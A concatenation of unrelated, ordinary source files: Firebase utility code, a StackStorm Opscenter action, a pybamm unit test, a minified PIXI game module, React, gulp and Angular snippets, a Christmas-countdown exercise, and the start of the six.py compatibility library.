}
delete this.observers[i];
this.observerCount -= 1;
if (this.observerCount === 0 && this.onNoObservers !== undefined) {
this.onNoObservers(this);
}
};
ObserverProxy.prototype.forEachObserver = function (fn) {
if (this.finalized) {
// Already closed by previous event....just eat the additional values.
return;
}
// Since sendOne calls asynchronously - there is no chance that
// this.observers will become undefined.
for (var i = 0; i < this.observers.length; i++) {
this.sendOne(i, fn);
}
};
// Call the Observer via one of it's callback function. We are careful to
// confirm that the observe has not been unsubscribed since this asynchronous
// function had been queued.
ObserverProxy.prototype.sendOne = function (i, fn) {
var _this = this;
// Execute the callback asynchronously
this.task.then(function () {
if (_this.observers !== undefined && _this.observers[i] !== undefined) {
try {
fn(_this.observers[i]);
}
catch (e) {
// Ignore exceptions raised in Observers or missing methods of an
// Observer.
// Log error to console. b/31404806
if (typeof console !== 'undefined' && console.error) {
console.error(e);
}
}
}
});
};
ObserverProxy.prototype.close = function (err) {
var _this = this;
if (this.finalized) {
return;
}
this.finalized = true;
if (err !== undefined) {
this.finalError = err;
}
// Proxy is no longer needed - garbage collect references
this.task.then(function () {
_this.observers = undefined;
_this.onNoObservers = undefined;
});
};
return ObserverProxy;
}());
/** Turn synchronous function into one called asynchronously. */
function async(fn, onError) {
return function () {
var args = [];
for (var _i = 0; _i < arguments.length; _i++) {
args[_i] = arguments[_i];
}
Promise.resolve(true)
.then(function () {
fn.apply(void 0, args);
})
.catch(function (error) {
if (onError) {
onError(error);
}
});
};
}
/**
* Return true if the object passed in implements any of the named methods.
*/
function implementsAnyMethods(obj, methods) {
if (typeof obj !== 'object' || obj === null) {
return false;
}
for (var _i = 0, methods_1 = methods; _i < methods_1.length; _i++) {
var method = methods_1[_i];
if (method in obj && typeof obj[method] === 'function') {
return true;
}
}
return false;
}
function noop() {
// do nothing
}
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Check to make sure the appropriate number of arguments are provided for a public function.
* Throws an error if it fails.
*
* @param {!string} fnName The function name
* @param {!number} minCount The minimum number of arguments to allow for the function call
* @param {!number} maxCount The maximum number of argument to allow for the function call
* @param {!number} argCount The actual number of arguments provided.
*/
var validateArgCount = function (fnName, minCount, maxCount, argCount) {
var argError;
if (argCount < minCount) {
argError = 'at least ' + minCount;
}
else if (argCount > maxCount) {
argError = maxCount === 0 ? 'none' : 'no more than ' + maxCount;
}
if (argError) {
var error = fnName +
' failed: Was called with ' +
argCount +
(argCount === 1 ? ' argument.' : ' arguments.') +
' Expects ' +
argError +
'.';
throw new Error(error);
}
};
/**
* Generates a string to prefix an error message about failed argument validation
*
* @param {!string} fnName The function name
* @param {!number} argumentNumber The index of the argument
* @param {boolean} optional Whether or not the argument is optional
* @return {!string} The prefix to add to the error thrown for validation.
*/
function errorPrefix(fnName, argumentNumber, optional) {
var argName = '';
switch (argumentNumber) {
case 1:
argName = optional ? 'first' : 'First';
break;
case 2:
argName = optional ? 'second' : 'Second';
break;
case 3:
argName = optional ? 'third' : 'Third';
break;
case 4:
argName = optional ? 'fourth' : 'Fourth';
break;
default:
throw new Error('errorPrefix called with argumentNumber > 4. Need to update it?');
}
var error = fnName + ' failed: ';
error += argName + ' argument ';
return error;
}
/**
* @param {!string} fnName
* @param {!number} argumentNumber
* @param {!string} namespace
* @param {boolean} optional
*/
function validateNamespace(fnName, argumentNumber, namespace, optional) {
if (optional && !namespace)
return;
if (typeof namespace !== 'string') {
//TODO: I should do more validation here. We only allow certain chars in namespaces.
throw new Error(errorPrefix(fnName, argumentNumber, optional) +
'must be a valid firebase namespace.');
}
}
function validateCallback(fnName, argumentNumber, callback, optional) {
if (optional && !callback)
return;
if (typeof callback !== 'function')
throw new Error(errorPrefix(fnName, argumentNumber, optional) +
'must be a valid function.');
}
function validateContextObject(fnName, argumentNumber, context, optional) {
if (optional && !context)
return;
if (typeof context !== 'object' || context === null)
throw new Error(errorPrefix(fnName, argumentNumber, optional) +
'must be a valid context object.');
}
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// Code originally came from goog.crypt.stringToUtf8ByteArray, but for some reason they
// automatically replaced '\r\n' with '\n', and they didn't handle surrogate pairs,
// so it's been modified.
// Note that not all Unicode characters appear as single characters in JavaScript strings.
// fromCharCode returns the UTF-16 encoding of a character - so some Unicode characters
// use 2 characters in Javascript. All 4-byte UTF-8 characters begin with a first
// character in the range 0xD800 - 0xDBFF (the first character of a so-called surrogate
// pair).
// See http://www.ecma-international.org/ecma-262/5.1/#sec-15.1.3
/**
* @param {string} str
* @return {Array}
*/
var stringToByteArray$1 = function (str) {
var out = [], p = 0;
for (var i = 0; i < str.length; i++) {
var c = str.charCodeAt(i);
// Is this the lead surrogate in a surrogate pair?
if (c >= 0xd800 && c <= 0xdbff) {
var high = c - 0xd800; // the high 10 bits.
i++;
assert(i < str.length, 'Surrogate pair missing trail surrogate.');
var low = str.charCodeAt(i) - 0xdc00; // the low 10 bits.
c = 0x10000 + (high << 10) + low;
}
if (c < 128) {
out[p++] = c;
}
else if (c < 2048) {
out[p++] = (c >> 6) | 192;
out[p++] = (c & 63) | 128;
}
else if (c < 65536) {
out[p++] = (c >> 12) | 224;
out[p++] = ((c >> 6) & 63) | 128;
out[p++] = (c & 63) | 128;
}
else {
out[p++] = (c >> 18) | 240;
out[p++] = ((c >> 12) & 63) | 128;
out[p++] = ((c >> 6) & 63) | 128;
out[p++] = (c & 63) | 128;
}
}
return out;
};
/**
* Calculate length without actually converting; useful for doing cheaper validation.
* @param {string} str
* @return {number}
*/
var stringLength = function (str) {
var p = 0;
for (var i = 0; i < str.length; i++) {
var c = str.charCodeAt(i);
if (c < 128) {
p++;
}
else if (c < 2048) {
p += 2;
}
else if (c >= 0xd800 && c <= 0xdbff) {
// Lead surrogate of a surrogate pair. The pair together will take 4 bytes to represent.
p += 4;
i++; // skip trail surrogate.
}
else {
p += 3;
}
}
return p;
};
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
exports.assert = assert;
exports.assertionError = assertionError;
exports.base64 = base64;
exports.base64Decode = base64Decode;
exports.base64Encode = base64Encode;
exports.CONSTANTS = CONSTANTS;
exports.deepCopy = deepCopy;
exports.deepExtend = deepExtend;
exports.patchProperty = patchProperty;
exports.Deferred = Deferred;
exports.getUA = getUA;
exports.isMobileCordova = isMobileCordova;
exports.isNodeSdk = isNodeSdk;
exports.isReactNative = isReactNative;
exports.ErrorFactory = ErrorFactory;
exports.FirebaseError = FirebaseError;
exports.patchCapture = patchCapture;
exports.jsonEval = jsonEval;
exports.stringify = stringify;
exports.decode = decode;
exports.isAdmin = isAdmin;
exports.issuedAtTime = issuedAtTime;
exports.isValidFormat = isValidFormat;
exports.isValidTimestamp = isValidTimestamp;
exports.clone = clone;
exports.contains = contains;
exports.every = every;
exports.extend = extend;
exports.findKey = findKey;
exports.findValue = findValue;
exports.forEach = forEach;
exports.getAnyKey = getAnyKey;
exports.getCount = getCount;
exports.getValues = getValues;
exports.isEmpty = isEmpty;
exports.isNonNullObject = isNonNullObject;
exports.map = map;
exports.safeGet = safeGet;
exports.querystring = querystring;
exports.querystringDecode = querystringDecode;
exports.Sha1 = Sha1;
exports.async = async;
exports.createSubscribe = createSubscribe;
exports.errorPrefix = errorPrefix;
exports.validateArgCount = validateArgCount;
exports.validateCallback = validateCallback;
exports.validateContextObject = validateContextObject;
exports.validateNamespace = validateNamespace;
exports.stringLength = stringLength;
exports.stringToByteArray = stringToByteArray$1;
//# sourceMappingURL=index.cjs.js.map
|
import requests
from lib.base import OpscenterAction
class StartClusterRepairAction(OpscenterAction):
def run(self, cluster_id=None):
if not cluster_id:
cluster_id = self.cluster_id
url = self._get_full_url([cluster_id, 'services', 'repair'])
return requests.post(url).json()
|
#
# Test base butler volmer submodel
#
import pybamm
import tests
import unittest
class TestButlerVolmer(unittest.TestCase):
def test_public_functions(self):
param = pybamm.standard_parameters_lithium_ion
a_n = pybamm.PrimaryBroadcast(pybamm.Scalar(0), ["negative electrode"])
a_p = pybamm.PrimaryBroadcast(pybamm.Scalar(0), ["positive electrode"])
a = pybamm.Scalar(0)
variables = {
"Current collector current density": a,
"Negative electrode potential": a,
"Negative electrolyte potential": a,
"Negative electrode open circuit potential": a,
"Negative electrolyte concentration": a,
"Negative particle surface concentration": a,
"Negative electrode temperature": a,
}
submodel = pybamm.interface.ButlerVolmer(param, "Negative", "lithium-ion main")
std_tests = tests.StandardSubModelTests(submodel, variables)
std_tests.test_all()
variables = {
"Current collector current density": a,
"Positive electrode potential": a_p,
"Positive electrolyte potential": a_p,
"Positive electrode open circuit potential": a_p,
"Positive electrolyte concentration": a_p,
"Positive particle surface concentration": a_p,
"Negative electrode interfacial current density": a_n,
"Negative electrode exchange current density": a_n,
"Positive electrode temperature": a_p,
}
submodel = pybamm.interface.ButlerVolmer(param, "Positive", "lithium-ion main")
std_tests = tests.StandardSubModelTests(submodel, variables)
std_tests.test_all()
if __name__ == "__main__":
print("Add -v for more debug output")
import sys
if "-v" in sys.argv:
debug = True
pybamm.settings.debug_mode = True
unittest.main()
|
'use strict'
describe('Authentication', () => {
test('Authenticate user', () => {});
});
|
const function656 = function (t, e, i) {
"use strict";
var n = this && this.__extends || function () {
var t = Object.setPrototypeOf || { __proto__: [] } instanceof Array && function (t, e) {
t.__proto__ = e
} || function (t, e) {
for (var i in e) e.hasOwnProperty(i) && (t[i] = e[i])
};
return function (e, i) {
function n() {
this.constructor = e
}
t(e, i), e.prototype = null === i ? Object.create(i) : (n.prototype = i.prototype, new n)
}
}();
Object.defineProperty(e, "__esModule", { value: !0 });
var o = i(3), r = function (t) {
function e() {
var e = t.call(this) || this, i = new PIXI.Sprite(o.COMMON_MAIN.getTexture(0));
return i.position.set(195, 10), e.conBg = new PIXI.Sprite(o.COMMON_MAIN.getTexture(14)), e.titBg = new PIXI.Sprite(o.COMMON_MAIN.getTexture(64)), e.titBg.addChild(i), e.addChild(e.conBg), e.addChild(e.titBg), e
}
return n(e, t), e.prototype.dispose = function () {
this.conBg = null, this.titBg = null, this.removeChildren()
}, e.prototype.init = function () {
this.conBg.position.set(148, 145), this.titBg.position.set(0, 105)
}, e.prototype.show = function () {
this.visible = !0
}, e.prototype.hide = function () {
this.visible = !1
}, e
}(PIXI.Container);
e.BackgroundLayer = r
} |
import React from 'react';
import PropTypes from 'prop-types';
import {Link} from 'react-router-dom';
const OrderListRow = ({order}) => {
const hotel = order.hotel;
return (
<div id={'hotel_'+hotel.id} className="card hotel-item p-1 my-1">
<div className="row">
<div className="col-md-3">
<a href={'/hotel/'+ hotel.id}>
<img className="hotelImage" src={hotel.defaultPhoto} />
</a>
</div>
<div className="col-md-9">
<div>
<span className="card-title">
<Link to={'/hotel/'+ hotel.id} className="">{hotel.name}</Link>
</span>
<span className="card-subtitle ml-2">{hotel.stars} Stars</span>
</div>
<div>
<span>Check-in: {order.checkin}</span>
<span>Check-out: {order.checkout}</span>
</div>
<div className="clearfix">
<div className="booknow">STATUS</div>
<div className="price">${order.total}</div>
</div>
</div>
</div>
</div>
);
};
OrderListRow.propTypes = {
order: PropTypes.object.isRequired
};
export default OrderListRow;
|
'use strict';
/**
* Module dependencies
*/
var gulp = require('gulp');
var args = require('get-gulp-args')();
var path = require('path');
var assert = require('assert');
var Karma = require('karma').Server;
gulp.task('test', function(done) {
return new Karma({
configFile: path.resolve('karma.conf.js'),
singleRun: true,
browsers: ['PhantomJS']
}, done).start();
});
// Karma test runner task
gulp.task('karma', function (done) {
assert(args.conf, '--conf="path to karma.conf"');
return new Karma({
configFile: path.resolve(args.conf),
singleRun: true,
browsers: ['PhantomJS']
}, done).start();
});
gulp.task('default', function (done) {
console.log('\n\
gulp karma --conf=../path/to/karma.conf\n\n\
"browsers" set to ["PhantomJS"]\n');
});
|
// Questions service used to communicate Questions REST endpoints
(function () {
'use strict';
angular
.module('questions')
.factory('QuestionsService', QuestionsService);
QuestionsService.$inject = ['$resource'];
function QuestionsService($resource) {
return $resource('api/questions/:questionId', {
questionId: '@_id'
}, {
update: {
method: 'PUT'
}
});
}
}());
|
// 9. Write a JavaScript program to calculate days left until next Christmas.
var today= new Date();
var christmas=new Date(today.getFullYear(),11,25);
var one_day=24*60*60*1000;
console.log(today);
console.log(christmas);
console.log(Math.ceil((christmas.getTime()-today.getTime())/(one_day))+
" days left until Christmas!");
console.log(Math.ceil((christmas-today)/one_day)+
" days left until Christmas!");
|
from __future__ import absolute_import
import functools
import itertools
import operator
import sys
import types
__author__ = "Benjamin Peterson <[email protected]>"
__version__ = "1.9.0"
# Useful for very coarse version differentiation.
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3
if PY3:
string_types = str,
integer_types = int,
class_types = type,
text_type = str
binary_type = bytes
MAXSIZE = sys.maxsize
else:
string_types = basestring,
integer_types = (int, long)
class_types = (type, types.ClassType)
text_type = unicode
binary_type = str
if sys.platform.startswith("java"):
# Jython always uses 32 bits.
MAXSIZE = int((1 << 31) - 1)
else:
# It's possible to have sizeof(long) != sizeof(Py_ssize_t).
class X(object):
def __len__(self):
return 1 << 31
try:
len(X())
except OverflowError:
# 32-bit
MAXSIZE = int((1 << 31) - 1)
else:
# 64-bit
MAXSIZE = int((1 << 63) - 1)
del X
def _add_doc(func, doc):
"""Add documentation to a function."""
func.__doc__ = doc
def _import_module(name):
"""Import module, returning the module after the last dot."""
__import__(name)
return sys.modules[name]
class _LazyDescr(object):
def __init__(self, name):
self.name = name
def __get__(self, obj, tp):
result = self._resolve()
setattr(obj, self.name, result) # Invokes __set__.
try:
# This is a bit ugly, but it avoids running this again by
# removing this descriptor.
delattr(obj.__class__, self.name)
except AttributeError:
pass
return result
class MovedModule(_LazyDescr):
def __init__(self, name, old, new=None):
super(MovedModule, self).__init__(name)
if PY3:
if new is None:
new = name
self.mod = new
else:
self.mod = old
def _resolve(self):
return _import_module(self.mod)
def __getattr__(self, attr):
_module = self._resolve()
value = getattr(_module, attr)
setattr(self, attr, value)
return value
class _LazyModule(types.ModuleType):
def __init__(self, name):
super(_LazyModule, self).__init__(name)
self.__doc__ = self.__class__.__doc__
def __dir__(self):
attrs = ["__doc__", "__name__"]
attrs += [attr.name for attr in self._moved_attributes]
return attrs
# Subclasses should override this
_moved_attributes = []
class MovedAttribute(_LazyDescr):
def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None):
super(MovedAttribute, self).__init__(name)
if PY3:
if new_mod is None:
new_mod = name
self.mod = new_mod
if new_attr is None:
if old_attr is None:
new_attr = name
else:
new_attr = old_attr
self.attr = new_attr
else:
self.mod = old_mod
if old_attr is None:
old_attr = name
self.attr = old_attr
def _resolve(self):
module = _import_module(self.mod)
return getattr(module, self.attr)
class _SixMetaPathImporter(object):
"""
A meta path importer to import six.moves and its submodules.
This class implements a PEP302 finder and loader. It should be compatible
with Python 2.5 and all existing versions of Python3
"""
def __init__(self, six_module_name):
self.name = six_module_name
self.known_modules = {}
def _add_module(self, mod, *fullnames):
for fullname in fullnames:
self.known_modules[self.name + "." + fullname] = mod
def _get_module(self, fullname):
return self.known_modules[self.name + "." + fullname]
def find_module(self, fullname, path=None):
if fullname in self.known_modules:
return self
return None
def __get_module(self, fullname):
try:
return self.known_modules[fullname]
except KeyError:
raise ImportError("This loader does not know module " + fullname)
def load_module(self, fullname):
try:
# in case of a reload
return sys.modules[fullname]
except KeyError:
pass
mod = self.__get_module(fullname)
if isinstance(mod, MovedModule):
mod = mod._resolve()
else:
mod.__loader__ = self
sys.modules[fullname] = mod
return mod
def is_package(self, fullname):
"""
Return true, if the named module is a package.
We need this method to get correct spec objects with
Python 3.4 (see PEP451)
"""
return hasattr(self.__get_module(fullname), "__path__")
def get_code(self, fullname):
"""Return None
Required, if is_package is implemented"""
self.__get_module(fullname) # eventually raises ImportError
return None
get_source = get_code # same as get_code
_importer = _SixMetaPathImporter(__name__)
class _MovedItems(_LazyModule):
"""Lazy loading of moved objects"""
__path__ = [] # mark as package
_moved_attributes = [
MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"),
MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"),
MovedAttribute("filterfalse", "itertools", "itertools",
"ifilterfalse", "filterfalse"),
MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"),
MovedAttribute("intern", "__builtin__", "sys"),
MovedAttribute("map", "itertools", "builtins", "imap", "map"),
MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"),
MovedAttribute("reload_module", "__builtin__", "imp", "reload"),
MovedAttribute("reduce", "__builtin__", "functools"),
MovedAttribute("shlex_quote", "pipes", "shlex", "quote"),
MovedAttribute("StringIO", "StringIO", "io"),
MovedAttribute("UserDict", "UserDict", "collections"),
MovedAttribute("UserList", "UserList", "collections"),
MovedAttribute("UserString", "UserString", "collections"),
MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"),
MovedAttribute("zip", "itertools", "builtins", "izip", "zip"),
MovedAttribute("zip_longest", "itertools", "itertools",
"izip_longest", "zip_longest"),
MovedModule("builtins", "__builtin__"),
MovedModule("configparser", "ConfigParser"),
MovedModule("copyreg", "copy_reg"),
MovedModule("dbm_gnu", "gdbm", "dbm.gnu"),
MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"),
MovedModule("http_cookiejar", "cookielib", "http.cookiejar"),
MovedModule("http_cookies", "Cookie", "http.cookies"),
MovedModule("html_entities", "htmlentitydefs", "html.entities"),
MovedModule("html_parser", "HTMLParser", "html.parser"),
MovedModule("http_client", "httplib", "http.client"),
MovedModule("email_mime_multipart", "email.MIMEMultipart",
"email.mime.multipart"),
MovedModule("email_mime_nonmultipart",
"email.MIMENonMultipart", "email.mime.nonmultipart"),
MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"),
MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"),
MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"),
MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"),
MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"),
MovedModule("cPickle", "cPickle", "pickle"),
MovedModule("queue", "Queue"),
MovedModule("reprlib", "repr"),
MovedModule("socketserver", "SocketServer"),
MovedModule("_thread", "thread", "_thread"),
MovedModule("tkinter", "Tkinter"),
MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"),
MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"),
MovedModule("tkinter_scrolledtext", "ScrolledText",
"tkinter.scrolledtext"),
MovedModule("tkinter_simpledialog", "SimpleDialog",
"tkinter.simpledialog"),
MovedModule("tkinter_tix", "Tix", "tkinter.tix"),
MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"),
MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"),
MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"),
MovedModule("tkinter_colorchooser", "tkColorChooser",
"tkinter.colorchooser"),
MovedModule("tkinter_commondialog", "tkCommonDialog",
"tkinter.commondialog"),
MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"),
MovedModule("tkinter_font", "tkFont", "tkinter.font"),
MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"),
MovedModule("tkinter_tksimpledialog", "tkSimpleDialog",
"tkinter.simpledialog"),
MovedModule("urllib_parse", __name__ +
".moves.urllib_parse", "urllib.parse"),
MovedModule("urllib_error", __name__ +
".moves.urllib_error", "urllib.error"),
MovedModule("urllib", __name__ + ".moves.urllib",
__name__ + ".moves.urllib"),
MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"),
MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"),
MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"),
MovedModule("winreg", "_winreg"),
]
for attr in _moved_attributes:
setattr(_MovedItems, attr.name, attr)
if isinstance(attr, MovedModule):
_importer._add_module(attr, "moves." + attr.name)
del attr
_MovedItems._moved_attributes = _moved_attributes
moves = _MovedItems(__name__ + ".moves")
_importer._add_module(moves, "moves")
class Module_six_moves_urllib_parse(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_parse"""
_urllib_parse_moved_attributes = [
MovedAttribute("ParseResult", "urlparse", "urllib.parse"),
MovedAttribute("SplitResult", "urlparse", "urllib.parse"),
MovedAttribute("parse_qs", "urlparse", "urllib.parse"),
MovedAttribute("parse_qsl", "urlparse", "urllib.parse"),
MovedAttribute("urldefrag", "urlparse", "urllib.parse"),
MovedAttribute("urljoin", "urlparse", "urllib.parse"),
MovedAttribute("urlparse", "urlparse", "urllib.parse"),
MovedAttribute("urlsplit", "urlparse", "urllib.parse"),
MovedAttribute("urlunparse", "urlparse", "urllib.parse"),
MovedAttribute("urlunsplit", "urlparse", "urllib.parse"),
MovedAttribute("quote", "urllib", "urllib.parse"),
MovedAttribute("quote_plus", "urllib", "urllib.parse"),
MovedAttribute("unquote", "urllib", "urllib.parse"),
MovedAttribute("unquote_plus", "urllib", "urllib.parse"),
MovedAttribute("urlencode", "urllib", "urllib.parse"),
MovedAttribute("splitquery", "urllib", "urllib.parse"),
MovedAttribute("splittag", "urllib", "urllib.parse"),
MovedAttribute("splituser", "urllib", "urllib.parse"),
MovedAttribute("uses_fragment", "urlparse", "urllib.parse"),
MovedAttribute("uses_netloc", "urlparse", "urllib.parse"),
MovedAttribute("uses_params", "urlparse", "urllib.parse"),
MovedAttribute("uses_query", "urlparse", "urllib.parse"),
MovedAttribute("uses_relative", "urlparse", "urllib.parse"),
]
for attr in _urllib_parse_moved_attributes:
setattr(Module_six_moves_urllib_parse, attr.name, attr)
del attr
Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes
_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"),
"moves.urllib_parse", "moves.urllib.parse")
class Module_six_moves_urllib_error(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_error"""
_urllib_error_moved_attributes = [
MovedAttribute("URLError", "urllib2", "urllib.error"),
MovedAttribute("HTTPError", "urllib2", "urllib.error"),
MovedAttribute("ContentTooShortError", "urllib", "urllib.error"),
]
for attr in _urllib_error_moved_attributes:
setattr(Module_six_moves_urllib_error, attr.name, attr)
del attr
Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes
_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"),
"moves.urllib_error", "moves.urllib.error")
class Module_six_moves_urllib_request(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_request"""
_urllib_request_moved_attributes = [
MovedAttribute("urlopen", "urllib2", "urllib.request"),
MovedAttribute("install_opener", "urllib2", "urllib.request"),
MovedAttribute("build_opener", "urllib2", "urllib.request"),
MovedAttribute("pathname2url", "urllib", "urllib.request"),
MovedAttribute("url2pathname", "urllib", "urllib.request"),
MovedAttribute("getproxies", "urllib", "urllib.request"),
MovedAttribute("Request", "urllib2", "urllib.request"),
MovedAttribute("OpenerDirector", "urllib2", "urllib.request"),
MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"),
MovedAttribute("ProxyHandler", "urllib2", "urllib.request"),
MovedAttribute("BaseHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"),
MovedAttribute("HTTPPasswordMgrWithDefaultRealm",
"urllib2", "urllib.request"),
MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"),
MovedAttribute("FileHandler", "urllib2", "urllib.request"),
MovedAttribute("FTPHandler", "urllib2", "urllib.request"),
MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"),
MovedAttribute("UnknownHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"),
MovedAttribute("urlretrieve", "urllib", "urllib.request"),
MovedAttribute("urlcleanup", "urllib", "urllib.request"),
MovedAttribute("URLopener", "urllib", "urllib.request"),
MovedAttribute("FancyURLopener", "urllib", "urllib.request"),
MovedAttribute("proxy_bypass", "urllib", "urllib.request"),
]
for attr in _urllib_request_moved_attributes:
setattr(Module_six_moves_urllib_request, attr.name, attr)
del attr
Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes
_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"),
"moves.urllib_request", "moves.urllib.request")
class Module_six_moves_urllib_response(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_response"""
_urllib_response_moved_attributes = [
MovedAttribute("addbase", "urllib", "urllib.response"),
MovedAttribute("addclosehook", "urllib", "urllib.response"),
MovedAttribute("addinfo", "urllib", "urllib.response"),
MovedAttribute("addinfourl", "urllib", "urllib.response"),
]
for attr in _urllib_response_moved_attributes:
setattr(Module_six_moves_urllib_response, attr.name, attr)
del attr
Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes
_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"),
"moves.urllib_response", "moves.urllib.response")
class Module_six_moves_urllib_robotparser(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_robotparser"""
_urllib_robotparser_moved_attributes = [
MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"),
]
for attr in _urllib_robotparser_moved_attributes:
setattr(Module_six_moves_urllib_robotparser, attr.name, attr)
del attr
Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes
_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"),
"moves.urllib_robotparser", "moves.urllib.robotparser")
class Module_six_moves_urllib(types.ModuleType):
"""Create a six.moves.urllib namespace that resembles the Python 3 namespace"""
__path__ = [] # mark as package
parse = _importer._get_module("moves.urllib_parse")
error = _importer._get_module("moves.urllib_error")
request = _importer._get_module("moves.urllib_request")
response = _importer._get_module("moves.urllib_response")
robotparser = _importer._get_module("moves.urllib_robotparser")
def __dir__(self):
return ['parse', 'error', 'request', 'response', 'robotparser']
_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"),
"moves.urllib")
def add_move(move):
"""Add an item to six.moves."""
setattr(_MovedItems, move.name, move)
def remove_move(name):
"""Remove item from six.moves."""
try:
delattr(_MovedItems, name)
except AttributeError:
try:
del moves.__dict__[name]
except KeyError:
raise AttributeError("no such move, %r" % (name,))
if PY3:
_meth_func = "__func__"
_meth_self = "__self__"
_func_closure = "__closure__"
_func_code = "__code__"
_func_defaults = "__defaults__"
_func_globals = "__globals__"
else:
_meth_func = "im_func"
_meth_self = "im_self"
_func_closure = "func_closure"
_func_code = "func_code"
_func_defaults = "func_defaults"
_func_globals = "func_globals"
try:
advance_iterator = next
except NameError:
def advance_iterator(it):
return it.next()
next = advance_iterator
try:
callable = callable
except NameError:
def callable(obj):
return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)
if PY3:
def get_unbound_function(unbound):
return unbound
create_bound_method = types.MethodType
Iterator = object
else:
def get_unbound_function(unbound):
return unbound.im_func
def create_bound_method(func, obj):
return types.MethodType(func, obj, obj.__class__)
class Iterator(object):
def next(self):
return type(self).__next__(self)
callable = callable
_add_doc(get_unbound_function,
"""Get the function out of a possibly unbound function""")
get_method_function = operator.attrgetter(_meth_func)
get_method_self = operator.attrgetter(_meth_self)
get_function_closure = operator.attrgetter(_func_closure)
get_function_code = operator.attrgetter(_func_code)
get_function_defaults = operator.attrgetter(_func_defaults)
get_function_globals = operator.attrgetter(_func_globals)
if PY3:
def iterkeys(d, **kw):
return iter(d.keys(**kw))
def itervalues(d, **kw):
return iter(d.values(**kw))
def iteritems(d, **kw):
return iter(d.items(**kw))
def iterlists(d, **kw):
return iter(d.lists(**kw))
viewkeys = operator.methodcaller("keys")
viewvalues = operator.methodcaller("values")
viewitems = operator.methodcaller("items")
else:
def iterkeys(d, **kw):
return iter(d.iterkeys(**kw))
def itervalues(d, **kw):
return iter(d.itervalues(**kw))
def iteritems(d, **kw):
return iter(d.iteritems(**kw))
def iterlists(d, **kw):
return iter(d.iterlists(**kw))
viewkeys = operator.methodcaller("viewkeys")
